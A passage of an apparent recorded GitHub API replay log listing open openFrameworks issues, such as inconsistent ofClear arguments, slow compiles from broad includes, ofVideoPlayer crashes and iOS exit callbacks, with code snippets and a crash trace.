alpha to clear the background.\r\n\r\nfurthermore, because all the arguments have default values there is not/cannot exist an ofClear(gray, alpha) to match ofSetColor style","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/264","comments":5,"milestone":null,"number":264,"html_url":"https://github.com/openframeworks/openFrameworks/issues/264","assignee":null,"title":"ofClear uses inconsistent arguments","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-11-18T06:15:47Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":425675,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=13 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4931'), ('content-length', '46291'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"bf7e6718fe6b733d04e77e00e220150f"'), ('date', 'Tue, 29 May 2012 19:27:22 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-12-05T21:58:33Z","body":"A lot of OF files are including ofMain / ofConstants.h - this makes compiles super slow. Try to have files only include what they need. Or find a way to break things up into the most often used ( windows.h etc ) and less used. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/255","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":255,"html_url":"https://github.com/openframeworks/openFrameworks/issues/255","assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"title":"COMPILE SPEED UP - cleanup internal includes to avoid ofMain.h and ofConstants.h","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-11-11T21:14:05Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":413771,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T20:11:33Z","body":"ofHideCursor()/ofShowCursor()\r\n\r\nofEnableArbTex()\r\nofEnableSetupScreen()\r\nofEnableDataPath()\r\nofEnableAlphaBlending()\r\nofEnableSmoothing()\r\n\r\nofSetFullscreen() + ofToggleFullscreen()\r\nofSetVerticalSync()\r\n\r\netc.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/249","comments":1,"milestone":null,"number":249,"html_url":"https://github.com/openframeworks/openFrameworks/issues/249","assignee":null,"title":"normalize option nomenclature (hide/enable/set/etc.)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-11-03T22:52:08Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":399214,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T22:03:41Z","body":"some video to test:\r\n\r\nmmsh://live.camstreams.com/cscamglobal16?MSWMExt=.asf\r\n\r\nit works ok with totem so it should be a problem in ofGstUtils","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/245","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":245,"html_url":"https://github.com/openframeworks/openFrameworks/issues/245","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"gstreamer problems with streaming of microsoft video","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2010-10-13T16:33:06Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":360885,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-13T20:13:07Z","body":"I found an annoying bug in ofVideoPlayer.\nThis module do not like to be dynamically created or destroyed.\nCheck this little example :\n\nhttp://knu.free.fr/bug_ofVideoPlayer.zip\n\nLeft-click to create an object playing video.\nRight-click to suppress the last video.\n\nhere are the phenomenons I am facing on my Win7 machine :\n\n- \nIf you create an object, and then you suppress it, and then try to create an object again, the app will crash.\n\n- \nIf you create some objects (lets say 8), and then you suppress all of them, the app will crash before the last one (not always, but most of the time).\n\n\n\nNow in OF source tree, try replacing ofVideoPlayer.cpp with FIX_ofVideoPlayer.cpp (at the root of the zip)\nRebuild the project.\nNow everything should be working as expected.\n\n\nThe modifications I made in the source are marked by : //###############\n\nI do not have time to fully read and understand the quicktime API, so there are chances this workaround is fucking dirty.\nBut at least it seems to work.\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/244","comments":1,"milestone":null,"number":244,"html_url":"https://github.com/openframeworks/openFrameworks/issues/244","assignee":null,"title":"bug in ofVideoPlayer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2010-10-11T19:56:46Z","state":"open","user":{"url":"https://api.github.com/users/fmauclere","avatar_url":"https://secure.gravatar.com/avatar/1c7dcbab3712f1a4d90bd2c3aa9a3e3d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"1c7dcbab3712f1a4d90bd2c3aa9a3e3d","login":"fmauclere","id":435720},"id":357395,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-10T05:06:06Z","body":"Check out this code - also check if latest ffmpeg is better optimized for iphone.\r\nhttp://github.com/jgh-/FFmpeg-for-iOS","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/240","comments":0,"milestone":null,"number":240,"html_url":"https://github.com/openframeworks/openFrameworks/issues/240","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"iphone video player - ffmpeg and audioqueues","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-10-06T17:19:57Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":349886,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-10T05:08:56Z","body":"XCode: 3.2.4\nOF: github master @24 Sep 2010\nCompiled as: device base SDK 4.1 release arm7 deployment target 3.2\n\nWeird error: Build ofAudioOutputExample. Add a void testApp::exit() to see if it is called. Run app on ipod touch 2010 version with 4.1 installed.\n\nApp runs OK yet pressing the exit button on front of device quits the app, but xcode keeps running. Digging in a bit it appears not only testApp::exit, but ofExitCallback is not getting called.\n\nSwitch to iPad (no other settings changed) and app runs fine, and exits properly.\n\nSwitch to BaseSDK 3.2 and example runs fine and exits fine on both iPad and iPod.\n\nIdeas? Is this just me? I'm fairly new to OF, XCode and iPhone\n\n[edit]\nOK I worked out that pressing the \"close\" button in 4.1 calls applicationWillResignActive in ofxiPhoneAppDelegate.mm. As a hacky workaround as my app just needs to exit, not sit in background, I added exit(0); to the end of applicationWillResignActive and it seems to work.\n\nWould like to know how to do this properly though.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/236","comments":1,"milestone":null,"number":236,"html_url":"https://github.com/openframeworks/openFrameworks/issues/236","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"ofExitCallback not being called on iphone4.1?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-09-25T01:55:49Z","state":"open","user":{"url":"https://api.github.com/users/DavidDC","avatar_url":"https://secure.gravatar.com/avatar/a6fdad0c31fcd273a1ba89434fec0419?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a6fdad0c31fcd273a1ba89434fec0419","login":"DavidDC","id":415101},"id":332379,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-04-19T00:32:33Z","body":"related to #221: texData.bAllocated is only used in the isAllocated method which can be changed from:\r\n\r\n bool ofTexture::bAllocated(){\r\n return texData.bAllocated;\r\n }\r\n\r\nto\r\n\r\n bool ofTexture::bAllocated(){\r\n return texData.textureID!=0;\r\n }\r\n\r\navoiding problems like #221 since we don't have two flags for the same thing","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/228","comments":4,"milestone":null,"number":228,"html_url":"https://github.com/openframeworks/openFrameworks/issues/228","assignee":null,"title":"remove bAllocated in ofTexture?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-09-09T14:20:55Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":309191,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T15:45:27Z","body":"Segfault when playing .ogv files on 64 bit linux.\nSee forum post - http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=4582","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/227","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":227,"html_url":"https://github.com/openframeworks/openFrameworks/issues/227","assignee":null,"title":"Ubuntu 64-bit conflict with FMOD when playing ogg theora files","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2010-09-08T14:54:33Z","state":"open","user":{"url":"https://api.github.com/users/pierrep","avatar_url":"https://secure.gravatar.com/avatar/be11c9de8242e7aef0446eceaa289e01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"be11c9de8242e7aef0446eceaa289e01","login":"pierrep","id":392160},"id":307684,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-08-31T10:54:19Z","body":"It would be nice to have:\r\n\r\n\tconst ofxVec2f xunit2f(1, 0), yunit2f(0, 1);\r\n\tconst ofxVec3f xunit3f(1, 0, 0), yunit3f(0, 1, 0), zunit3f(0, 0, 1);\r\n\r\nOr something similar that allows for more elegant notation when you're multiplying or adding by an axis.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/225","comments":0,"milestone":null,"number":225,"html_url":"https://github.com/openframeworks/openFrameworks/issues/225","assignee":null,"title":"ofxVectorMath constants","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-08-31T10:54:19Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":295913,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-26T18:37:47Z","body":"can this be useful?\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=25&t=4500\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/224","comments":1,"milestone":null,"number":224,"html_url":"https://github.com/openframeworks/openFrameworks/issues/224","assignee":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"title":"gaussian noise","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"}],"closed_at":null,"created_at":"2010-08-26T10:21:24Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":290973,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-10-17T13:58:53Z","body":"ofxOsc causes a memory access violation in VS2008, when you use sendMessage(ofxOscMessage) from within a class.\r\nNo error when you run that from main ofApp","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/214","comments":1,"milestone":null,"number":214,"html_url":"https://github.com/openframeworks/openFrameworks/issues/214","assignee":null,"title":"ofxOsc memory access violation. namespace issue?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-08-04T05:59:22Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":268332,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-14T15:12:26Z","body":"e) get arturo's script to work, or rewrite a new one to just clobber a given directory (and not pull from git, etc as it's doing now). \r\n\r\ntheo - might be good to have two scripts?\r\n1) to pull from git \r\n2) to remove everything not related to a platform - or maybe better just copies the files into a folder for that platform. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/199","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":199,"html_url":"https://github.com/openframeworks/openFrameworks/issues/199","assignee":null,"title":"script that doesn't pull everything from git","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-06-01T13:28:54Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":211418,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-05-25T14:54:52Z","body":"\r\nas per: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=8&t=3962&p=20661#p20661\r\n\r\nwe should explain how to use it properly. \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/194","comments":0,"milestone":null,"number":194,"html_url":"https://github.com/openframeworks/openFrameworks/issues/194","assignee":null,"title":"ofGetAppPtr documentation is wrong ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2010-05-25T14:54:52Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":205935,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:58:22Z","body":"http://www.glfw.org/release-2.6.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/193","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":193,"html_url":"https://github.com/openframeworks/openFrameworks/issues/193","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"look at glfw - just got updated","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-05-23T21:04:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":204247,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T19:20:16Z","body":"I had the L.A.S.E.R. tag software up and running great on my new MacBook Pro but recently my computer did a software update and now something is wrong and I can't properly use the program. I have snow leopard 10.6.3 OS. I'm not totally sure if it was the auto update that caused the issue but it seems like it stopped working after the update. Below I listed the suspected updates. Seems weird to me 2 digital camera RAW updates.\r\n\r\n3/27/10 Digital Camera RAW update 2.7\r\n3/27/10 Safari 4.0.5\r\n3/27/10 Digital Camera RAW update 3.1\r\n3/27/10 iMovie update 8.0.6\r\n\r\n0 com.apple.QuickTime \t0x9408e179 QTMLGrabMutex + 18\r\n1 com.apple.QuickTime \t0x9421b6a3 QTWorkContextCopyForMediaContextID + 28\r\n2 ...uickTimeStreaming.component\t0x14f77c15 HTTPDhlr_CheckForFatalError + 254\r\n3 ...uickTimeStreaming.component\t0x14f77cc6 HTTPDhlr_ReadSYNC + 165\r\n4 ...uickTimeStreaming.component\t0x14f7ab01 HTTPDataHandler_ScheduleData64 + 452\r\n5 ...ple.CoreServices.CarbonCore\t0x949a2d05 callComponentStorage_4444444 + 63\r\n6 ...ple.CoreServices.CarbonCore\t0x949976f0 CallComponentFunctionCommonWithStorage(char**, ComponentParameters*, long (*)(), unsigned long) + 54\r\n7 ...uickTimeStreaming.component\t0x14f784c7 HTTPDataHandler_ComponentDispatch + 110\r\n8 ...ple.CoreServices.CarbonCore\t0x9498fd87 CallComponentDispatch + 29\r\n9 com.apple.QuickTime \t0x94093540 DataHScheduleData64 + 73\r\n10 com.apple.QuickTime \t0x940b5704 NewMovieFromDataRefPriv_priv + 8296\r\n11 com.apple.QuickTime \t0x9419e613 NewMovieFromDataRef_priv + 54\r\n12 com.apple.QuickTime \t0x942fb95e NewMovieFromDataRef + 52\r\n13 com.yourcompany.openFrameworks\t0x0000aa2a createMovieFromURL(std::string, MovieType**&) + 112\r\n14 com.yourcompany.openFrameworks\t0x0000abe2 ofVideoPlayer::loadMovie(std::string) + 182\r\n15 com.yourcompany.openFrameworks\t0x0002fe03 appController::setup() + 2169\r\n16 com.yourcompany.openFrameworks\t0x00002864 ofRunApp(ofSimpleApp*) + 170\r\n17 com.yourcompany.openFrameworks\t0x0003dc06 main + 90\r\n18 com.yourcompany.openFrameworks\t0x00001da2 _start + 216\r\n19 com.yourcompany.openFrameworks\t0x00001cc9 start + 41","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/182","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":182,"html_url":"https://github.com/openframeworks/openFrameworks/issues/182","assignee":null,"title":"ofVideoPlayer - createMovieFromURL broken in 10.6.3 with specific updates?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-04-15T16:20:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":172424,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-04-14T15:48:19Z","body":"can we add moments to the blob. \n\nadd CvMoments moments to blob class\n\nand in ofxCvContourFinder.cpp line 119\n\n\t blobs[i].moments.m00 = myMoments->m00;\n\t\tblobs[i].moments.m10 = myMoments->m10;\n\t\tblobs[i].moments.m01 = myMoments->m01;\n\t\tblobs[i].moments.m20 = myMoments->m20;\n\t\tblobs[i].moments.m11 = myMoments->m11;\n\t\tblobs[i].moments.m02 = myMoments->m02;\n\t\tblobs[i].moments.m30 = myMoments->m30;\n\t\tblobs[i].moments.m21 = myMoments->m21;\n\t\tblobs[i].moments.m12 = myMoments->m12;\n\t\tblobs[i].moments.m03 = myMoments->m03;\n\t\t\n\t\tblobs[i].moments.mu20 = myMoments->mu20;\n\t\tblobs[i].moments.mu11 = myMoments->mu11;\n\t\tblobs[i].moments.mu02 = myMoments->mu02;\n\t\tblobs[i].moments.mu30 = myMoments->mu30;\n\t\tblobs[i].moments.mu21 = myMoments->mu21;\n\t\tblobs[i].moments.mu12 = myMoments->mu12;\n\t\tblobs[i].moments.mu03 = myMoments->mu03;\n\n\nthis is good for finding the angle and other info about the contour.\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/181","comments":2,"milestone":null,"number":181,"html_url":"https://github.com/openframeworks/openFrameworks/issues/181","assignee":null,"title":"ofxCvBlobs","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2010-04-14T15:42:22Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":171615,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T15:04:04Z","body":"Buffer is 512 but 